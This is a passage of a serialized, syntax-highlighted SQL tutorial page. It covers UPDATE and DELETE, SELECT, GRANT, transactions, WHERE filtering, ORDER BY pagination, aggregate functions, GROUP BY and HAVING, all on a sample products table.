(",[94,20058,20059],{"class":153},"'Wireless Mouse'",[94,20061,346],{"class":100},[94,20063,20064],{"class":757},"999",[94,20066,360],{"class":100},[94,20068,20021],{"class":757},[94,20070,346],{"class":100},[94,20072,20073],{"class":757},"120",[94,20075,18821],{"class":100},[94,20077,20078,20080,20083,20085,20088,20090,20092,20094,20097],{"class":96,"line":203},[94,20079,20056],{"class":100},[94,20081,20082],{"class":153},"'USB-C Hub'",[94,20084,346],{"class":100},[94,20086,20087],{"class":757},"1499",[94,20089,360],{"class":100},[94,20091,20021],{"class":757},[94,20093,346],{"class":100},[94,20095,20096],{"class":757},"75",[94,20098,18821],{"class":100},[94,20100,20101,20103,20106,20108,20111,20113,20115,20117,20119],{"class":96,"line":1695},[94,20102,20056],{"class":100},[94,20104,20105],{"class":153},"'Laptop Stand'",[94,20107,346],{"class":100},[94,20109,20110],{"class":757},"2199",[94,20112,360],{"class":100},[94,20114,20021],{"class":757},[94,20116,346],{"class":100},[94,20118,5440],{"class":757},[94,20120,2093],{"class":100},[18751,20122,19608],{"id":20123},"update",[85,20125,20127],{"className":18770,"code":20126,"language":18772,"meta":90,"style":90},"-- ALWAYS use WHERE with UPDATE, or you'll update every single row!\nUPDATE products\nSET price = 3199.00, stock_count = 45\nWHERE product_id = 1;\n\n-- Increase all prices by 10%\nUPDATE products\nSET price = price * 1.10;\n",[34,20128,20129,20134,20141,20166,20179,20183,20188,20194],{"__ignoreMap":90},[94,20130,20131],{"class":96,"line":97},[94,20132,20133],{"class":790},"-- ALWAYS use WHERE with UPDATE, or you'll update every single row!\n",[94,20135,20136,20138],{"class":96,"line":111},[94,20137,19608],{"class":753},[94,20139,20140],{"class":100}," products\n",[94,20142,20143,20146,20149,20151,20154,20156,20158,20161,20163],{"class":96,"line":122},[94,20144,20145],{"class":753},"SET",[94,20147,20148],{"class":100}," price ",[94,20150,150],{"class":753},[94,20152,20153],{"class":757}," 3199",[94,20155,360],{"class":100},[94,20157,20021],{"class":757},[94,20159,20160],{"class":100},", stock_count ",[94,20162,150],{"class":753},[94,20164,20165],{"class":757}," 45\n",[94,20167,20168,20170,20173,20175,20177],{"class":96,"line":138},[94,20169,19492],{"class":753},[94,20171,20172],{"class":100}," product_id ",[94,20174,150],{"class":753},[94,20176,5936],{"class":757},[94,20178,1302],{"class":100},[94,20180,20181],{"class":96,"line":164},[94,20182,289],{"emptyLinePlaceholder":288},[94,20184,20185],{"class":96,"line":174},[94,20186,20187],{"class":790},"-- Increase all prices by 10%\n",[94,20189,20190,20192],{"class":96,"line":188},[94,20191,19608],{"class":753},[94,20193,20140],{"class":100},[94,20195,20196,20198,20200,20202,20204,20206,20208,20210,20212],{"class":96,"line":203},[94,20197,20145],{"class":753},[94,20199,20148],{"class":100},[94,20201,150],{"class":753},[94,20203,20148],{"class":100},[94,20205,1272],{"class":753},[94,20207,5936],{"class":757},[94,20209,360],{"class":100},[94,20211,5430],{"class":757},[94,20213,1302],{"class":100},[18751,20215,19611],{"id":20216},"delete",[85,20218,20220],{"className":18770,"code":20219,"language":18772,"meta":90,"style":90},"-- Delete a specific row\nDELETE FROM products WHERE product_id = 3;\n\n-- Delete all products that are out of stock\nDELETE FROM products WHERE stock_count = 0;\n",[34,20221,20222,20227,20246,20250,20255],{"__ignoreMap":90},[94,20223,20224],{"class":96,"line":97},[94,20225,20226],{"class":790},"-- Delete a specific row\n",[94,20228,20229,20231,20233,20235,20237,20239,20241,20244],{"class":96,"line":111},[94,20230,19611],{"class":753},[94,20232,19486],{"class":753},[94,20234,19822],{"class":100},[94,20236,19492],{"class":753},[94,20238,20172],{"class":100},[94,20240,150],{"class":753},[94,20242,20243],{"class":757}," 3",[94,20245,1302],{"class":100},[94,20247,20248],{"class":96,"line":122},[94,20249,289],{"emptyLinePlaceholder":288},[94,20251,20252],{"class":96,"line":138},[94,20253,20254],{"class":790},"-- Delete all products that are out of stock\n",[94,20256,20257,20259,20261,20263,20265,20268,20270,20272],{"class":96,"line":164},[94,20258,19611],{"class":753},[94,20260,19486],{"class":753},[94,20262,19822],{"class":100},[94,20264,19492],{"class":753},[94,20266,20267],{"class":100}," stock_count ",[94,20269,150],{"class":753},[94,20271,5159],{"class":757},[94,20273,1302],{"class":100},[16061,20275,20276],{},[11,20277,20278,20281,20282,20284,20285,216,20287,20289,20290,20292,20293,20296],{},[1183,20279,20280],{},"Golden Rule of DML:"," Always write your ",[34,20283,19492],{}," clause first in your head\nbefore writing ",[34,20286,19608],{},[34,20288,19611],{},". A missing ",[34,20291,19492],{}," clause affects\n",[1512,20294,20295],{},"every row"," in the table.",[23,20298,20300],{"id":20299},"_33-dql-querying-data","3.3 DQL — Querying Data",[11,20302,20303,20305,20306,20309],{},[34,20304,19480],{}," is the most important and most used SQL command. Knowing ",[1183,20307,20308],{},"how to\nwrite SQL queries step by step"," starts here.",[85,20311,20313],{"className":18770,"code":20312,"language":18772,"meta":90,"style":90},"-- Basic syntax\nSELECT column1, column2, ...\nFROM   table_name\nWHERE  condition\nORDER BY column ASC|DESC\nLIMIT  n;\n\n-- Select all columns (use sparingly in production)\nSELECT * FROM products;\n\n-- Select specific columns with an alias\nSELECT\n    name        AS product_name,\n    price       AS selling_price,\n    stock_count AS qty_available\nFROM products;\n",[34,20314,20315,20320,20327,20335,20342,20359,20367,20371,20376,20386,20390,20395,20400,20410,20421,20431],{"__ignoreMap":90},[94,20316,20317],{"class":96,"line":97},[94,20318,20319],{"class":790},"-- Basic syntax\n",[94,20321,20322,20324],{"class":96,"line":111},[94,20323,19480],{"class":753},[94,20325,20326],{"class":100}," column1, column2, ...\n",[94,20328,20329,20332],{"class":96,"line":122},[94,20330,20331],{"class":753},"FROM",[94,20333,20334],{"class":100},"   table_name\n",[94,20336,20337,20339],{"class":96,"line":138},[94,20338,19492],{"class":753},[94,20340,20341],{"class":100},"  condition\n",[94,20343,20344,20347,20350,20353,20356],{"class":96,"line":164},[94,20345,20346],{"class":753},"ORDER BY",[94,20348,20349],{"class":100}," column ",[94,20351,20352],{"class":753},"ASC",[94,20354,20355],{"class":100},"|",[94,20357,20358],{"class":753},"DESC\n",[94,20360,20361,20364],{"class":96,"line":174},[94,20362,20363],{"class":753},"LIMIT",[94,20365,20366],{"class":100},"  n;\n",[94,20368,20369],{"class":96,"line":188},[94,20370,289],{"emptyLinePlaceholder":288},[94,20372,20373],{"class":96,"line":203},[94,20374,20375],{"class":790},"-- Select all columns (use sparingly in production)\n",[94,20377,20378,20380,20382,20384],{"class":96,"line":1695},[94,20379,19480],{"class":753},[94,20381,19483],{"class":753},[94,20383,19486],{"class":753},[94,20385,19942],{"class":100},[94,20387,20388],{"class":96,"line":1702},[94,20389,289],{"emptyLinePlaceholder":288},[94,20391,20392],{"class":96,"line":1714},[94,20393,20394],{"class":790},"-- Select specific columns with an alias\n",[94,20396,20397],{"class":96,"line":1726},[94,20398,20399],{"class":753},"SELECT\n",[94,20401,20402,20404,20407],{"class":96,"line":5586},[94,20403,18811],{"class":753},[94,20405,20406],{"class":753},"        AS",[94,20408,20409],{"class":100}," product_name,\n",[94,20411,20412,20415,20418],{"class":96,"line":6797},[94,20413,20414],{"class":100},"    price       ",[94,20416,20417],{"class":753},"AS",[94,20419,20420],{"class":100}," selling_price,\n",[94,20422,20423,20426,20428],{"class":96,"line":6808},[94,20424,20425],{"class":100},"    stock_count ",[94,20427,20417],{"class":753},[94,20429,20430],{"class":100}," qty_available\n",[94,20432,20433,20435],{"class":96,"line":6821},[94,20434,20331],{"class":753},[94,20436,19942],{"class":100},[23,20438,20440],{"id":20439},"_34-dcl-tcl-control-transactions","3.4 DCL & TCL — Control & Transactions",[85,20442,20444],{"className":18770,"code":20443,"language":18772,"meta":90,"style":90},"-- DCL: Grant read access to a user\nGRANT SELECT ON products TO 'readonly_user';\n\n-- TCL: Transaction block\nBEGIN;\n    UPDATE accounts SET balance = balance - 500 WHERE id = 1;\n    UPDATE accounts SET balance = balance + 500 WHERE id = 2;\nCOMMIT;  -- Make it permanent\n\n-- If something goes wrong, undo everything\nROLLBACK;\n",[34,20445,20446,20451,20470,20474,20479,20486,20520,20548,20558,20562,20567],{"__ignoreMap":90},[94,20447,20448],{"class":96,"line":97},[94,20449,20450],{"class":790},"-- DCL: Grant read access to a user\n",[94,20452,20453,20455,20458,20461,20463,20465,20468],{"class":96,"line":111},[94,20454,19646],{"class":753},[94,20456,20457],{"class":753}," SELECT",[94,20459,20460],{"class":753}," ON",[94,20462,19822],{"class":100},[94,20464,19890],{"class":753},[94,20466,20467],{"class":153}," 'readonly_user'",[94,20469,1302],{"class":100},[94,20471,20472],{"class":96,"line":122},[94,20473,289],{"emptyLinePlaceholder":288},[94,20475,20476],{"class":96,"line":138},[94,20477,20478],{"class":790},"-- TCL: Transaction block\n",[94,20480,20481,20484],{"class":96,"line":164},[94,20482,20483],{"class":753},"BEGIN",[94,20485,1302],{"class":100},[94,20487,20488,20491,20494,20496,20499,20501,20503,20505,20508,20511,20514,20516,20518],{"class":96,"line":174},[94,20489,20490],{"class":753},"    UPDATE",[94,20492,20493],{"class":100}," accounts ",[94,20495,20145],{"class":753},[94,20497,20498],{"class":100}," balance ",[94,20500,150],{"class":753},[94,20502,20498],{"class":100},[94,20504,6786],{"class":753},[94,20506,20507],{"class":757}," 500",[94,20509,20510],{"class":753}," WHERE",[94,20512,20513],{"class":100}," id ",[94,20515,150],{"class":753},[94,20517,5936],{"class":757},[94,20519,1302],{"class":100},[94,20521,20522,20524,20526,20528,20530,20532,20534,20536,20538,20540,20542,20544,20546],{"class":96,"line":188},[94,20523,20490],{"class":753},[94,20525,20493],{"class":100},[94,20527,20145],{"class":753},[94,20529,20498],{"class":100},[94,20531,150],{"class":753},[94,20533,20498],{"class":100},[94,20535,3623],{"class":753},[94,20537,20507],{"class":757},[94,20539,20510],{"class":753},[94,20541,20513],{"class":100},[94,20543,150],{"class":753},[94,20545,5123],{"class":757},[94,20547,1302],{"class":100},[94,20549,20550,20552,20555],{"class":96,"line":203},[94,20551,19667],{"class":753},[94,20553,20554],{"class":100},";  ",[94,20556,20557],{"class":790},"-- Make it permanent\n",[94,20559,20560],{"class":96,"line":1695},[94,20561,289],{"emptyLinePlaceholder":288},[94,20563,20564],{"class":96,"line":1702},[94,20565,20566],{"class":790},"-- If something goes wrong, undo everything\n",[94,20568,20569,20571],{"class":96,"line":1714},[94,20570,19670],{"class":753},[94,20572,1302],{"class":100},[18509,20574],{},[18,20576,20578],{"id":20577},"_4-querying-in-depth","4. Querying in Depth",[23,20580,20582],{"id":20581},"_41-filtering-with-where","4.1 Filtering with WHERE",[11,20584,4305,20585,20588],{},[1183,20586,20587],{},"SQL WHERE clause"," filters which rows are returned. It's one of the most\nfrequently used tools when writing SQL queries.",[85,20590,20592],{"className":18770,"code":20591,"language":18772,"meta":90,"style":90},"-- Comparison operators\nSELECT * FROM products WHERE price > 1000;\nSELECT * FROM products WHERE stock_count = 0;\nSELECT * FROM products WHERE name != 'USB-C Hub';\n\n-- Range\nSELECT * FROM products WHERE price BETWEEN 500 AND 2000;\n\n-- Pattern matching (% = any sequence of chars, _ = exactly one char)\nSELECT * FROM products WHERE name LIKE 'Wire%';    -- starts with \"Wire\"\nSELECT * FROM products WHERE name LIKE '%Mouse%';  -- contains \"Mouse\"\nSELECT * FROM products WHERE name LIKE 'M____';    -- \"M\" + exactly 4 chars\n\n-- Match against a list\nSELECT * FROM products WHERE category IN ('Electronics', 'Accessories');\n\n-- NULL check\nSELECT * FROM products WHERE category IS NULL;\n\n-- Combining conditions\nSELECT * FROM products\nWHERE price \u003C 2000 AND stock_count > 10;\n\nSELECT * FROM products\nWHERE category = 'Electronics' OR price \u003C 500;\n\n-- NOT operator\nSELECT * FROM products WHERE NOT (price > 3000);\n",[34,20593,20594,20599,20620,20640,20662,20666,20671,20698,20702,20707,20733,20757,20781,20785,20790,20820,20824,20829,20849,20853,20858,20869,20891,20896,20907,20930,20935,20941],{"__ignoreMap":90},[94,20595,20596],{"class":96,"line":97},[94,20597,20598],{"class":790},"-- Comparison operators\n",[94,20600,20601,20603,20605,20607,20609,20611,20613,20615,20618],{"class":96,"line":111},[94,20602,19480],{"class":753},[94,20604,19483],{"class":753},[94,20606,19486],{"class":753},[94,20608,19822],{"class":100},[94,20610,19492],{"class":753},[94,20612,20148],{"class":100},[94,20614,8683],{"class":753},[94,20616,20617],{"class":757}," 1000",[94,20619,1302],{"class":100},[94,20621,20622,20624,20626,20628,20630,20632,20634,20636,20638],{"class":96,"line":122},[94,20623,19480],{"class":753},[94,20625,19483],{"class":753},[94,20627,19486],{"class":753},[94,20629,19822],{"class":100},[94,20631,19492],{"class":753},[94,20633,20267],{"class":100},[94,20635,150],{"class":753},[94,20637,5159],{"class":757},[94,20639,1302],{"class":100},[94,20641,20642,20644,20646,20648,20650,20652,20654,20657,20660],{"class":96,"line":138},[94,20643,19480],{"class":753},[94,20645,19483],{"class":753},[94,20647,19486],{"class":753},[94,20649,19822],{"class":100},[94,20651,19492],{"class":753},[94,20653,1139],{"class":753},[94,20655,20656],{"class":753}," !=",[94,20658,20659],{"class":153}," 'USB-C Hub'",[94,20661,1302],{"class":100},[94,20663,20664],{"class":96,"line":164},[94,20665,289],{"emptyLinePlaceholder":288},[94,20667,20668],{"class":96,"line":174},[94,20669,20670],{"class":790},"-- Range\n",[94,20672,20673,20675,20677,20679,20681,20683,20685,20688,20690,20693,20696],{"class":96,"line":188},[94,20674,19480],{"class":753},[94,20676,19483],{"class":753},[94,20678,19486],{"class":753},[94,20680,19822],{"class":100},[94,20682,19492],{"class":753},[94,20684,20148],{"class":100},[94,20686,20687],{"class":753},"BETWEEN",[94,20689,20507],{"class":757},[94,20691,20692],{"class":753}," AND",[94,20694,20695],{"class":757}," 2000",[94,20697,1302],{"class":100},[94,20699,20700],{"class":96,"line":203},[94,20701,289],{"emptyLinePlaceholder":288},[94,20703,20704],{"class":96,"line":1695},[94,20705,20706],{"class":790},"-- Pattern matching (% = any sequence of chars, _ = exactly one char)\n",[94,20708,20709,20711,20713,20715,20717,20719,20721,20724,20727,20730],{"class":96,"line":1702},[94,20710,19480],{"class":753},[94,20712,19483],{"class":753},[94,20714,19486],{"class":753},[94,20716,19822],{"class":100},[94,20718,19492],{"class":753},[94,20720,1139],{"class":753},[94,20722,20723],{"class":753}," LIKE",[94,20725,20726],{"class":153}," 'Wire%'",[94,20728,20729],{"class":100},";    ",[94,20731,20732],{"class":790},"-- starts with \"Wire\"\n",[94,20734,20735,20737,20739,20741,20743,20745,20747,20749,20752,20754],{"class":96,"line":1714},[94,20736,19480],{"class":753},[94,20738,19483],{"class":753},[94,20740,19486],{"class":753},[94,20742,19822],{"class":100},[94,20744,19492],{"class":753},[94,20746,1139],{"class":753},[94,20748,20723],{"class":753},[94,20750,20751],{"class":153}," '%Mouse%'",[94,20753,20554],{"class":100},[94,20755,20756],{"class":790},"-- contains \"Mouse\"\n",[94,20758,20759,20761,20763,20765,20767,20769,20771,20773,20776,20778],{"class":96,"line":1726},[94,20760,19480],{"class":753},[94,20762,19483],{"class":753},[94,20764,19486],{"class":753},[94,20766,19822],{"class":100},[94,20768,19492],{"class":753},[94,20770,1139],{"class":753},[94,20772,20723],{"class":753},[94,20774,20775],{"class":153}," 'M____'",[94,20777,20729],{"class":100},[94,20779,20780],{"class":790},"-- \"M\" + exactly 4 chars\n",[94,20782,20783],{"class":96,"line":5586},[94,20784,289],{"emptyLinePlaceholder":288},[94,20786,20787],{"class":96,"line":6797},[94,20788,20789],{"class":790},"-- Match against a list\n",[94,20791,20792,20794,20796,20798,20800,20802,20805,20808,20810,20813,20815,20818],{"class":96,"line":6808},[94,20793,19480],{"class":753},[94,20795,19483],{"class":753},[94,20797,19486],{"class":753},[94,20799,19822],{"class":100},[94,20801,19492],{"class":753},[94,20803,20804],{"class":100}," category ",[94,20806,20807],{"class":753},"IN",[94,20809,2253],{"class":100},[94,20811,20812],{"class":153},"'Electronics'",[94,20814,346],{"class":100},[94,20816,20817],{"class":153},"'Accessories'",[94,20819,2093],{"class":100},[94,20821,20822],{"class":96,"line":6821},[94,20823,289],{"emptyLinePlaceholder":288},[94,20825,20826],{"class":96,"line":6827},[94,20827,20828],{"class":790},"-- NULL check\n",[94,20830,20831,20833,20835,20837,20839,20841,20843,20845,20847],{"class":96,"line":6832},[94,20832,19480],{"class":753},[94,20834,19483],{"class":753},[94,20836,19486],{"class":753},[94,20838,19822],{"class":100},[94,20840,19492],{"class":753},[94,20842,20804],{"class":100},[94,20844,19527],{"class":753},[94,20846,19445],{"class":753},[94,20848,1302],{"class":100},[94,20850,20851],{"class":96,"line":17244},[94,20852,289],{"emptyLinePlaceholder":288},[94,20854,20855],{"class":96,"line":17250},[94,20856,20857],{"class":790},"-- Combining conditions\n",[94,20859,20861,20863,20865,20867],{"class":96,"line":20860},21,[94,20862,19480],{"class":753},[94,20864,19483],{"class":753},[94,20866,19486],{"class":753},[94,20868,20140],{"class":100},[94,20870,20872,20874,20876,20878,20880,20882,20884,20886,20889],{"class":96,"line":20871},22,[94,20873,19492],{"class":753},[94,20875,20148],{"class":100},[94,20877,101],{"class":753},[94,20879,20695],{"class":757},[94,20881,20692],{"class":753},[94,20883,20267],{"class":100},[94,20885,8683],{"class":753},[94,20887,20888],{"class":757}," 10",[94,20890,1302],{"class":100},[94,20892,20894],{"class":96,"line":20893},23,[94,20895,289],{"emptyLinePlaceholder":288},[94,20897,20899,20901,20903,20905],{"class":96,"line":20898},24,[94,20900,19480],{"class":753},[94,20902,19483],{"class":753},[94,20904,19486],{"class":753},[94,20906,20140],{"class":100},[94,20908,20910,20912,20914,20916,20919,20922,20924,20926,20928],{"class":96,"line":20909},25,[94,20911,19492],{"class":753},[94,20913,20804],{"class":100},[94,20915,150],{"class":753},[94,20917,20918],{"class":153}," 'Electronics'",[94,20920,20921],{"class":753}," OR",[94,20923,20148],{"class":100},[94,20925,101],{"class":753},[94,20927,20507],{"class":757},[94,20929,1302],{"class":100},[94,20931,20933],{"class":96,"line":20932},26,[94,20934,289],{"emptyLinePlaceholder":288},[94,20936,20938],{"class":96,"line":20937},27,[94,20939,20940],{"class":790},"-- NOT operator\n",[94,20942,20944,20946,20948,20950,20952,20954,20957,20960,20962,20965],{"class":96,"line":20943},28,[94,20945,19480],{"class":753},[94,20947,19483],{"class":753},[94,20949,19486],{"class":753},[94,20951,19822],{"class":100},[94,20953,19492],{"class":753},[94,20955,20956],{"class":753}," NOT",[94,20958,20959],{"class":100}," (price ",[94,20961,8683],{"class":753},[94,20963,20964],{"class":757}," 3000",[94,20966,2093],{"class":100},[23,20968,20970],{"id":20969},"_42-sorting-with-order-by","4.2 Sorting with ORDER BY",[85,20972,20974],{"className":18770,"code":20973,"language":18772,"meta":90,"style":90},"-- Ascending (default)\nSELECT * FROM products ORDER BY price ASC;\n\n-- Descending\nSELECT * FROM products ORDER BY price DESC;\n\n-- Sort by multiple columns\nSELECT * FROM products ORDER BY category ASC, price DESC;\n\n-- Limit results (great for pagination)\nSELECT * FROM products ORDER BY price DESC LIMIT 5;\n\n-- Pagination: skip the first 10 rows, get the next 10\nSELECT * FROM products ORDER BY product_id LIMIT 10 OFFSET 10;\n",[34,20975,20976,20981,20999,21003,21008,21027,21031,21036,21059,21063,21068,21092,21096,21101],{"__ignoreMap":90},[94,20977,20978],{"class":96,"line":97},[94,20979,20980],{"class":790},"-- Ascending (default)\n",[94,20982,20983,20985,20987,20989,20991,20993,20995,20997],{"class":96,"line":111},[94,20984,19480],{"class":753},[94,20986,19483],{"class":753},[94,20988,19486],{"class":753},[94,20990,19822],{"class":100},[94,20992,20346],{"class":753},[94,20994,20148],{"class":100},[94,20996,20352],{"class":753},[94,20998,1302],{"class":100},[94,21000,21001],{"class":96,"line":122},[94,21002,289],{"emptyLinePlaceholder":288},[94,21004,21005],{"class":96,"line":138},[94,21006,21007],{"class":790},"-- Descending\n",[94,21009,21010,21012,21014,21016,21018,21020,21022,21025],{"class":96,"line":164},[94,21011,19480],{"class":753},[94,21013,19483],{"class":753},[94,21015,19486],{"class":753},[94,21017,19822],{"class":100},[94,21019,20346],{"class":753},[94,21021,20148],{"class":100},[94,21023,21024],{"class":753},"DESC",[94,21026,1302],{"class":100},[94,21028,21029],{"class":96,"line":174},[94,21030,289],{"emptyLinePlaceholder":288},[94,21032,21033],{"class":96,"line":188},[94,21034,21035],{"class":790},"-- Sort by multiple columns\n",[94,21037,21038,21040,21042,21044,21046,21048,21050,21052,21055,21057],{"class":96,"line":203},[94,21039,19480],{"class":753},[94,21041,19483],{"class":753},[94,21043,19486],{"class":753},[94,21045,19822],{"class":100},[94,21047,20346],{"class":753},[94,21049,20804],{"class":100},[94,21051,20352],{"class":753},[94,21053,21054],{"class":100},", price ",[94,21056,21024],{"class":753},[94,21058,1302],{"class":100},[94,21060,21061],{"class":96,"line":1695},[94,21062,289],{"emptyLinePlaceholder":288},[94,21064,21065],{"class":96,"line":1702},[94,21066,21067],{"class":790},"-- Limit results (great for pagination)\n",[94,21069,21070,21072,21074,21076,21078,21080,21082,21084,21087,21090],{"class":96,"line":1714},[94,21071,19480],{"class":753},[94,21073,19483],{"class":753},[94,21075,19486],{"class":753},[94,21077,19822],{"class":100},[94,21079,20346],{"class":753},[94,21081,20148],{"class":100},[94,21083,21024],{"class":753},[94,21085,21086],{"class":753}," LIMIT",[94,21088,21089],{"class":757}," 5",[94,21091,1302],{"class":100},[94,21093,21094],{"class":96,"line":1726},[94,21095,289],{"emptyLinePlaceholder":288},[94,21097,21098],{"class":96,"line":5586},[94,21099,21100],{"class":790},"-- Pagination: skip the first 10 rows, get the next 10\n",[94,21102,21103,21105,21107,21109,21111,21113,21115,21117,21119,21122,21124],{"class":96,"line":6797},[94,21104,19480],{"class":753},[94,21106,19483],{"class":753},[94,21108,19486],{"class":753},[94,21110,19822],{"class":100},[94,21112,20346],{"class":753},[94,21114,20172],{"class":100},[94,21116,20363],{"class":753},[94,21118,20888],{"class":757},[94,21120,21121],{"class":100}," OFFSET ",[94,21123,5430],{"class":757},[94,21125,1302],{"class":100},[23,21127,21129],{"id":21128},"_43-aggregate-functions-group-by","4.3 Aggregate Functions & GROUP BY",[11,21131,21132,21135,21136,21139],{},[1183,21133,21134],{},"SQL aggregate functions"," calculate a ",[1512,21137,21138],{},"single result"," from a set of rows.\nThey are essential for reporting, analytics, and summarizing structured data.",[497,21141,21142,21153],{},[500,21143,21144],{},[503,21145,21146,21148,21151],{},[506,21147,2736],{},[506,21149,21150],{},"Description",[506,21152,18958],{},[519,21154,21155,21172,21190,21208,21226],{},[503,21156,21157,21162,21165],{},[524,21158,21159],{},[34,21160,21161],{},"COUNT(*)",[524,21163,21164],{},"Number of rows",[524,21166,21167,21169,21170],{},[34,21168,21161],{}," → ",[34,21171,5065],{},[503,21173,21174,21179,21182],{},[524,21175,21176],{},[34,21177,21178],{},"SUM(col)",[524,21180,21181],{},"Total of a numeric column",[524,21183,21184,21169,21187],{},[34,21185,21186],{},"SUM(price)",[34,21188,21189],{},"8196.00",[503,21191,21192,21197,21200],{},[524,21193,21194],{},[34,21195,21196],{},"AVG(col)",[524,21198,21199],{},"Average value",[524,21201,21202,21169,21205],{},[34,21203,21204],{},"AVG(price)",[34,21206,21207],{},"2049.00",[503,21209,21210,21215,21218],{},[524,21211,21212],{},[34,21213,21214],{},"MIN(col)",[524,21216,21217],{},"Smallest value",[524,21219,21220,21169,21223],{},[34,21221,21222],{},"MIN(price)",[34,21224,21225],{},"999.00",[503,21227,21228,21233,21236],{},[524,21229,21230],{},[34,21231,21232],{},"MAX(col)",[524,21234,21235],{},"Largest value",[524,21237,21238,21169,21241],{},[34,21239,21240],{},"MAX(price)",[34,21242,21243],{},"3499.00",[85,21245,21247],{"className":18770,"code":21246,"language":18772,"meta":90,"style":90},"-- How many products do we have?\nSELECT COUNT(*) AS total_products FROM products;\n\n-- What is the average price?\nSELECT AVG(price) AS avg_price FROM products;\n\n-- Aggregation per group using GROUP BY\nSELECT\n    category,\n    COUNT(*)       AS num_products,\n    AVG(price)     AS avg_price,\n    SUM(stock_count) AS total_stock\nFROM products\nGROUP BY category;\n",[34,21248,21249,21254,21276,21280,21285,21304,21308,21313,21317,21322,21339,21352,21365,21371],{"__ignoreMap":90},[94,21250,21251],{"class":96,"line":97},[94,21252,21253],{"class":790},"-- How many products do we have?\n",[94,21255,21256,21258,21261,21263,21265,21267,21269,21272,21274],{"class":96,"line":111},[94,21257,19480],{"class":753},[94,21259,21260],{"class":757}," COUNT",[94,21262,770],{"class":100},[94,21264,1272],{"class":753},[94,21266,3615],{"class":100},[94,21268,20417],{"class":753},[94,21270,21271],{"class":100}," total_products ",[94,21273,20331],{"class":753},[94,21275,19942],{"class":100},[94,21277,21278],{"class":96,"line":122},[94,21279,289],{"emptyLinePlaceholder":288},[94,21281,21282],{"class":96,"line":138},[94,21283,21284],{"class":790},"-- What is the average price?\n",[94,21286,21287,21289,21292,21295,21297,21300,21302],{"class":96,"line":164},[94,21288,19480],{"class":753},[94,21290,21291],{"class":757}," AVG",[94,21293,21294],{"class":100},"(price) ",[94,21296,20417],{"class":753},[94,21298,21299],{"class":100}," avg_price ",[94,21301,20331],{"class":753},[94,21303,19942],{"class":100},[94,21305,21306],{"class":96,"line":174},[94,21307,289],{"emptyLinePlaceholder":288},[94,21309,21310],{"class":96,"line":188},[94,21311,21312],{"class":790},"-- Aggregation per group using GROUP BY\n",[94,21314,21315],{"class":96,"line":203},[94,21316,20399],{"class":753},[94,21318,21319],{"class":96,"line":1695},[94,21320,21321],{"class":100},"    category,\n",[94,21323,21324,21327,21329,21331,21334,21336],{"class":96,"line":1702},[94,21325,21326],{"class":757},"    COUNT",[94,21328,770],{"class":100},[94,21330,1272],{"class":753},[94,21332,21333],{"class":100},")       ",[94,21335,20417],{"class":753},[94,21337,21338],{"class":100}," num_products,\n",[94,21340,21341,21344,21347,21349],{"class":96,"line":1714},[94,21342,21343],{"class":757},"    AVG",[94,21345,21346],{"class":100},"(price)     ",[94,21348,20417],{"class":753},[94,21350,21351],{"class":100}," avg_price,\n",[94,21353,21354,21357,21360,21362],{"class":96,"line":1726},[94,21355,21356],{"class":757},"    SUM",[94,21358,21359],{"class":100},"(stock_count) ",[94,21361,20417],{"class":753},[94,21363,21364],{"class":100}," total_stock\n",[94,21366,21367,21369],{"class":96,"line":5586},[94,21368,20331],{"class":753},[94,21370,20140],{"class":100},[94,21372,21373,21376],{"class":96,"line":6797},[94,21374,21375],{"class":753},"GROUP BY",[94,21377,21378],{"class":100}," category;\n",[11,21380,21381],{},[1183,21382,21383],{},"Output:",[85,21385,21388],{"className":21386,"code":21387,"language":8778},[8776],"category      | num_products | avg_price | total_stock\n--------------+--------------+-----------+-------------\nElectronics   |      3       |  2332.33  |     275\nAccessories   |      1       |   999.00  |     120\n",[34,21389,21387],{"__ignoreMap":90},[18751,21391,21393],{"id":21392},"having-filtering-groups","HAVING — Filtering Groups",[11,21395,21396,21398,21399,21402,21403,21398,21406,21409,21410,21413],{},[34,21397,19492],{}," filters ",[1512,21400,21401],{},"rows"," before grouping. ",[34,21404,21405],{},"HAVING",[1512,21407,21408],{},"groups"," after\naggregation. Understanding ",[1183,21411,21412],{},"SQL GROUP BY and HAVING explained with examples","\nis key to writing analytical queries.",[85,21415,21417],{"className":18770,"code":21416,"language":18772,"meta":90,"style":90},"-- Only show categories that have more than 2 products\nSELECT category, COUNT(*) AS num_products\nFROM products\nGROUP BY category\nHAVING COUNT(*) > 2;\n\n-- Categories where the average price exceeds ₹2000\nSELECT category, AVG(price) AS avg_price\nFROM products\nGROUP BY category\nHAVING AVG(price) > 2000;\n",[34,21418,21419,21424,21445,21451,21458,21476,21480,21485,21501,21507,21513],{"__ignoreMap":90},[94,21420,21421],{"class":96,"line":97},[94,21422,21423],{"class":790},"-- Only show categories that have more than 2 products\n",[94,21425,21426,21428,21431,21434,21436,21438,21440,21442],{"class":96,"line":111},[94,21427,19480],{"class":753},[94,21429,21430],{"class":100}," category, ",[94,21432,21433],{"class":757},"COUNT",[94,21435,770],{"class":100},[94,21437,1272],{"class":753},[94,21439,3615],{"class":100},[94,21441,20417],{"class":753},[94,21443,21444],{"class":100}," num_products\n",[94,21446,21447,21449],{"class":96,"line":122},[94,21448,20331],{"class":753},[94,21450,20140],{"class":100},[94,21452,21453,21455],{"class":96,"line":138},[94,21454,21375],{"class":753},[94,21456,21457],{"class":100}," category\n",[94,21459,21460,21462,21464,21466,21468,21470,21472,21474],{"class":96,"line":164},[94,21461,21405],{"class":753},[94,21463,21260],{"class":757},[94,21465,770],{"class":100},[94,21467,1272],{"class":753},[94,21469,3615],{"class":100},[94,21471,8683],{"class":753},[94,21473,5123],{"class":757},[94,21475,1302],{"class":100},[94,21477,21478],{"class":96,"line":174},[94,21479,289],{"emptyLinePlaceholder":288},[94,21481,21482],{"class":96,"line":188},[94,21483,21484],{"class":790},"-- Categories where the average price exceeds ₹2000\n",[94,21486,21487,21489,21491,21494,21496,21498],{"class":96,"line":203},[94,21488,19480],{"class":753},[94,21490,21430],{"class":100},[94,21492,21493],{"class":757},"AVG",[94,21495,21294],{"class":100},[94,21497,20417],{"class":753},[94,21499,21500],{"class":100}," 